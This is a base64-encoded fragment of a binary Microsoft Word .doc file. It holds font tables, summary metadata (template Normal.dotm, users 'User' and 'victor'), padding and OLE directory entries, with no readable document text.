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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAApQZoAbQAtACBgRIwAAAAAAAAAAAAAAAAAABWCgAAVgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAEQoMRAPAQ AAgA/P0BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACEhQAAAAAAjw/w8ACQE/AADjBAAA////f/// /3////9/////f////3////9/////fyhTagAABAAAMgAAAAAAAAAAAAAAAAAAAAAAAAAAACEEAAAA AAAAAAAAAAAAAAAAAAAAEBwAAAcAAAAAAAAAAAB4AAAAeAAAAAAAAAAAAAAAoAUAAAAAAAALAAAA AAAAANwAAAD//xIAAAAAAAAAAAAAAAAAAAAEAFUAcwBlAHIABgB2AGkAYwB0AG8AcgAAAAAAAAAA AAAAAAAAAAAAAAAAACQAAAAGAAAABgAAAAAADAABAAwAAgAMAAMADAAEAAwABQAMAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7/AAAGAQIAAAAAAAAAAAAAAAAAAAAA AAEAAADghZ/y+U9oEKuRCAArJ7PZMAAAABwBAAANAAAAAQAAAHAAAAAEAAAAeAAAAAcAAACIAAAA CAAAAJwAAAAJAAAArAAAABIAAAC4AAAACgAAANgAAAAMAAAA5AAAAA0AAADwAAAADgAAAPwAAAAP AAAABAEAABAAAAAMAQAAEwAAABQBAAACAAAA4wQAAB4AAAAIAAAAVXNlcgAAAAAeAAAADAAAAE5v cm1hbC5kb3RtAB4AAAAIAAAAdmljdG9yAAAeAAAABAAAADIAAAAeAAAAGAAAAE1pY3Jvc29mdCBP ZmZpY2UgV29yZAAAAEAAAAAAAAAAAAAAAEAAAAAA8vWiEjfPAUAAAAAA8vWiEjfPAQMAAAABAAAA AwAAAIsBAAADAAAA0AgAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+/wAABgECAAAAAAAAAAAAAAAAAAAAAAABAAAAAtXN 1ZwuGxCTlwgAKyz5rjAAAADsAAAADAAAAAEAAABoAAAADwAAAHAAAAAFAAAAfAAAAAYAAACEAAAA EQAAAIwAAAAXAAAAlAAAAAsAAACcAAAAEAAAAKQAAAATAAAArAAAABYAAAC0AAAADQAAALwAAAAM AAAAyQAAAAIAAADjBAAAHgAAAAQAAAAqAAAAAwAAABIAAAADAAAABQAAAAMAAABWCgAAAwAAAAAA DgALAAAAAAAAAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAB4QAAABAAAAAQAAAAAMEAAAAgAAAB4A AAAJAAAAzeDn4uDt6OUAAwAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAJAAAACgAA AAsAAAAMAAAADQAAAA4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABcAAAAYAAAA GQAAABoAAAAbAAAAHAAAAB0AAAAeAAAAHwAAACAAAAAhAAAAIgAAACMAAAAkAAAAJQAAACYAAAAn AAAAKAAAACkAAAAqAAAAKwAAACwAAAAtAAAALgAAAP7///8wAAAAMQAAADIAAAAzAAAANAAAADUA AAA2AAAANwAAADgAAAA5AAAAOgAAADsAAAA8AAAAPQAAAD4AAAA/AAAAQAAAAEEAAABCAAAAQwAA AEQAAABFAAAARgAAAEcAAABIAAAASQAAAEoAAABLAAAATAAAAE0AAABOAAAA/v///1AAAABRAAAA UgAAAFMAAABUAAAAVQAAAFYAAAD+////WAAAAFkAAABaAAAAWwAAAFwAAABdAAAAXgAAAP7////9 ////YQAAAP7////+/////v////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////9SAG8AbwB0ACAARQBuAHQAcgB5AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFgAFAf//////////AwAAAAYJAgAAAAAAwAAAAAAAAEYA AAAAAAAAAAAAAAAwqLiuEjfPAWMAAACAAAAAAAAAADEAVABhAGIAbABlAAAAAAAAAAAAAAAAAAAA 